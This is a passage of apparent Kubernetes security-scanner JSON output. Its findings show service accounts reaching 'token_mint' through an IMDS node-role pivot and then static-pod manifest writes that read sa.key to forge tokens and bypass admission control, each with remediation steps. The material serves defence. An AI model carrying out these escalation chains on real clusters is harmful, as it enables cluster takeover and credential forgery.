      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-sign",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod csr-fixtures/csr-sign-app-5db6bf86b4-xjd92 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-sign",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/flat-network/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/flat-network/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/flat-network/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/flat-network/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS\n  2. `ServiceAccount/flat-network/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "flat-network"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/flat-network/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/flat-network/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/flat-network/default`.",
      "Acting as `ServiceAccount/flat-network/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/flat-network/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/flat-network/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/flat-network/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "flat-network"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod flat-network/api-55d9f69c7d-czs2f falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "flat-network"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/foothold-exec/foothold-reader:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-exec/foothold-reader` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/foothold-exec/foothold-reader` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-exec/foothold-reader` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/foothold-exec/foothold-reader` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-exec/foothold-reader`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-exec/foothold-reader` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-exec/foothold-target falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/foothold-fixtures/foothold-quiet:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-fixtures/foothold-quiet` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/foothold-fixtures/foothold-quiet` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/foothold-fixtures/foothold-quiet` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS\n  2. `ServiceAccount/foothold-fixtures/foothold-quiet` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-fixtures/foothold-quiet` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/foothold-fixtures/foothold-quiet` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-fixtures/foothold-quiet`.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-quiet`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/foothold-fixtures/foothold-quiet`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/foothold-fixtures/foothold-quiet` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-fixtures/foothold-quiet-app-749c54956-gwlx2 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-quiet",
          "namespace": "foothold-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/gw-workloads/gw-web-sa:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/gw-workloads/gw-web-sa` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/gw-workloads/gw-web-sa` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "gw-web-sa",
      "namespace": "gw-workloads"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/gw-workloads/gw-web-sa` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/gw-workloads/gw-web-sa` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/gw-workloads/gw-web-sa`.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/gw-workloads/gw-web-sa` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/gw-workloads/gw-web-sa` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/hookbackend-fixtures/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/hookbackend-fixtures/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/hookbackend-fixtures/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/hookbackend-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS\n  2. `ServiceAccount/hookbackend-fixtures/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/hookbackend-fixtures/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/hookbackend-fixtures/default`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/hookbackend-fixtures/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/hookbackend-fixtures/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/hookbackend-fixtures/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod hookbackend-fixtures/hookbackend-injector-98b757bb8-kvrpv falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/imgswap-fixtures/imgswap-reader:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-reader` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-reader` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS\n  2. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-reader` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/imgswap-fixtures/imgswap-reader` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/imgswap-fixtures/imgswap-reader`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-reader` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
